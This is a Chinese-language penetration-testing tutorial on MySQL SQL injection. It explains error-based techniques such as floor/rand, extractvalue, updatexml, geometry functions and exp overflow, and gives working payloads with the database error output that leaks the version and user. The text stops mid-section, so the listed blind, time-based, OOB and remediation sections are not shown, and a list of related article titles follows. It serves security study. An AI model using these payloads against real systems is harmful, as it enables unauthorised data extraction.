渗透测试知识梳理-注入类-1-SQL注入-Mysql

  • 1. SQL注入
    • 1.1 漏洞简介
    • 1.2 漏洞危害
    • 1.3 漏洞详情
      • 1.3.1 MySQL注入
        • 1.3.1.1 报错注入
          • 1. floor()
          • 2. extractvalue()
          • 3. updatexml()
          • 4. geometrycollection()
          • 5. multipoint()
          • 6. polygon()
          • 7. multipolygon()
          • 8. linestring()
          • 9. multilinestring()
          • 10. exp()
          • 11. NAME_CONST()
          • 12. JOIN()
        • 1.3.1.2 布尔盲注
          • 1. 查询数据长度
          • 2. 截取字符判断
        • 1.3.1.3 时间盲注
          • 1. SLEEP()
          • 2. BENCHMARK()
          • 3. 笛卡尔积(叠加全排列)
          • 4. get_lock()
          • 5. 正则表达式
        • 1.3.1.4 宽字节注入
        • 1.3.1.5 二次注入
        • 1.3.1.6 联合注入
        • 1.3.1.7 堆叠注入
        • 1.3.1.8 OOB注入
    • 1.4 漏洞修复

1. SQL注入

1.1 漏洞简介

通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。按照构造和提交SQL语句的方式进行划分,SQL注入又分为GET型注入、POST型注入和Cookies型注入。按照执行效果划分,SQL注入可分为报错注入、布尔盲注、宽字节注入、时间盲注、二次注入、联合注入、堆查询注入等。根据数据传输的方式划分,可分为经典的SQL注入(inference)、带内注入(inband)、带外注入(out-of-band)。

1.2 漏洞危害

SQL注入漏洞主要危害是攻击者可利用该漏洞窃取数据库中的任意内容,在某些场景下,攻击者将有可能获得数据库服务器的完全控制权限。

1.3 漏洞详情

1.3.1 MySQL注入

1.3.1.1 报错注入

报错注入按照报错类型可以划分为重复错误、溢出错误、数据格式错误三大类。以下是报错注入中常用的函数:

1. floor()

floor() : 返回小于等于该值的最大整数。
floor(rand(0)* 2): 返回0到2之间的整数。
group by: 主要用来对数据进行分组。
count(*): 返回在给定的选择中被选的行数。
原理: 利用 floor(rand(0)*2) 在多次计算时产生固定的数字序列011011,结合 rand() 可被多次计算的特殊性以及group by的虚拟表插入分组时的两次计算(查询时一次,插入时一次),最终导致插入重复的键而报错。

mysql> select count(*),concat(floor(rand(0)*2),'@',(select version()))x from information_schema.tables group by x;
1062 - Duplicate entry '1@5.5.47' for key 'group_key'
2. extractvalue()

extractvalue(): 对XML文档进行查询的函数。
语法: extractvalue(目标xml文档,xml路径)
原理: 通过构造错误的XML路径导致解析出错(~ 开头的内容不是xml格式的语法),从而引起数据库报错。

mysql> select extractvalue('anything',concat('~',(select version())));
1105 - XPATH syntax error: '~5.5.47'

注意: extractvalue() 和 updatexml() 能查询字符串的最大长度为32,如果想要查询结果超过32,就需要用substring()函数截取。

mysql> select extractvalue('xxx',concat('#',substring(hex((select database())),1,64)));
1105 - XPATH syntax error: '#7365637572697479'
3. updatexml()

updatexml(): 更新xml文档的函数。
语法: updatexml(目标xml文档,xml路径,更新的内容)。
原理: 通过构造错误的XML路径导致解析出错(~ 开头的内容不是xml格式的语法),从而引起数据库报错。

mysql> select updatexml('xxx',concat('~',(select user())),'xxx');
1105 - XPATH syntax error: '~root@localhost'
4. geometrycollection()

geometrygollection(): 是由1个或多个任意类几何对象构成的几何对象(任何几何的集合、线段、圆等)。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
语法: GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
POINT(x,y): 这是坐标函数,相当于X,Y坐标图上的一点。
LINESTRING(x y,x y): 用来描述直线,两点连成的直线。
原理: 由于MYSQL无法用这样字符串画出图形,导致报错。
范围: 5.5<mysql版本<5.6

mysql> select geometrycollection((select * from(select * from (select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.47' AS `version()` from dual) `b`)' value found during parsing
5. multipoint()

MultiPoint 是一种由Point元素构成的几何对象集合(点的集合)。这些点未以任何方式连接或排序。
原理: 参数本应是空间几何对象集合,由于无法解析该集合导致报错(个人理解)。

mysql> select multipoint((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
6. polygon()

Polygon 是代表多边几何对象的平面。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。(可以理解为一个平面图形,中间有0个或多个多边形)
原理: 应该跟之前的4、5一样,都是由于无法解析导致报错(个人理解)。

mysql> select polygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
7. multipolygon()

multipolygon 是一个集合类,是多个Point、LineString或Polygon组合在一起而成。
原理: 应该是由于无法解析导致报错(个人理解)。

mysql> select multipolygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
8. linestring()

LineString 是具有点之间线性内插特性的Curve。
原理: 应该是由于无法解析导致报错(个人理解)。

mysql> select linestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
9. multilinestring()

MultiLineString 是一种由 LineString元素构成的MultiCurve几何对象集合。
原理: 应该是由于无法解析导致报错(个人理解)。

mysql> select multilinestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
10. exp()

EXP() 函数用于将E提升为指定数字的幂。这里E(2.718281 …)是自然对数的底数。
参数: 此方法接受语法中上面提到并在下面描述的一个参数:X 一个指定的数字,将用作E的幂。
返回值: 它返回提高到给定数字X的幂的E。
范围: 5.5<mysql版本<5.6
原理: exp()的参数在大于710时报错DOUBLE overflow error,利用取反以及子查询构造大于710的值,进行报错注入。

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select  exp(~(select * from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
11. NAME_CONST()

NAME_CONST(): 返回给定的值。当用于生成结果集列时,NAME_CONST()使列具有给定的名称。参数是常量。此功能仅供内部使用。服务器在从包含对本地程序变量的引用的存储程序中编写语句时使用它。
限制: 查询的内容需是定值(除了version()查询,别的没试成功

WEB渗透测试知识梳理-注入类-1-SQL注入-Mysql相关推荐

  1. Web渗透测试知识星球情况介绍

    Web渗透测试知识星球学习社群情况介绍 一.学习背景 相信你在学习Web安全的过程中,一定会感受到要涉及到的知识体系非常庞大.浩如烟海,而且很大一部分知识点都十分零散.碎片化,自学起来会踩很多坑,浪费 ...

  2. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  3. Web渗透测试对靶机注入shell(phpMyAdmin)

    Web渗透测试对靶机注入shell 文章目录 Web渗透测试对靶机注入shell 1.寻找目标信息 netdiscover扫描 nmap扫描 利用御剑后台进行扫描 2.对登录页面进行暴力破解 启动bu ...

  4. web渗透测试 靶机系统 漏洞测试环境

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

  5. 软件测试:web渗透测试怎样入门!讲透了...

    一.简介 1.web渗透测试概述 渗透测试:模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法. web渗透测试:只针对web应用的渗透测试 2.常见web安全漏洞 1.输入输出验证不充分 ...

  6. Web渗透测试基本流程

    对于web应用的渗透测试,大致可分为三个阶段:信息收集.漏洞发现以及漏洞利用.在实践过程中需要进一步明细测试的流程,以下通过9个阶段来描述渗透测试的整个流程: 1.明确目标 1)确定范围:测试的范围, ...

  7. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  8. Web渗透测试常规套路

    注:文章首发自合天智汇微信公众平台 0x01:本篇文章旨在给小白白们做一次有关web渗透的科普,其中涉及到的套路.工具可能在如今XX狗.XX盾当道的社会已不再适用,但是其中涉及的思想永远不会过时,其中 ...

  9. web渗透测试实战-SQLMAP

    一.实验项目名称 web渗透测试实战-SQLMAP 二.实验目的及要求 熟悉SQL注入漏洞原理 熟悉SQLMAP工具使用. 1.获取数据库信息:数据库漏洞.数据库名.数据库版本等 python sql ...

最新文章

  1. Java直接内存与堆内存
  2. Java List部分截取,获得指定长度子集合
  3. 你方唱罢我登场,“全宇宙仅此一回”的小米手机青春版竞争策略分析
  4. VC6.0编写BHO #error : WINDOWS.H already included. MFC apps must not #include windows.h
  5. P3952-时间复杂度【模拟】
  6. 最近写的一个qt应用软件
  7. 程序员找工作时,大公司 VS 小公司,应该如何做出正确的选择?
  8. Java 并发编程之同步工具类信号量 Semaphore
  9. 最小生成树原理及Kruskal算法的js实现
  10. python简单代码示例-python3简单代码示例
  11. 算法设计与分析第四章习题解答与学习指导(第2版)屈婉婷 刘田 张立昂 王捍贫编著 清华大学出版社
  12. 四叶草默认启动设置方法
  13. 【2020年TI杯江苏省大学生电子设计竞赛回顾——C题:坡道行驶电动小车(江苏省二等奖)】
  14. vue项目 pc端自适配方案
  15. ubuntu18.04设置双显示器-HDMI
  16. Excel的一些实用函数(if函数,vlookup函数,match函数)
  17. f5 gtm 工作原理_F5 LTM工作原理.ppt
  18. 使用FFmpeg工具将一个图片和一个音频合成一个视频以及在window系统下使用脚本运行
  19. Roboware Studio下载、安装、及解决办法
  20. 惠而浦扫地机器人充不进电_惠而浦和西屋诉说不要被廉价欺骗 | 智能扫地机器人评测...

热门文章

  1. Sring Data JPA使用Predicate进行模糊查询、按时间段查询
  2. 华为s5720s查看cpu使用率
  3. 浦科特固态硬盘用USB引导升级固件1.03
  4. android 接入萤石视频案例
  5. python logger.exception_Python logging设置和logger解析
  6. 买房付尾款要注意的细节
  7. 分页查询——RowBounds的使用
  8. 群晖如何建php网站_折腾群晖笔记:使用群晖自带的web功能 五分钟搭建typecho个人博客...
  9. 基于零参考深度曲线估计的暗光图像增强
  10. 如果你还不懂会员管理系统,那还做什么实体零售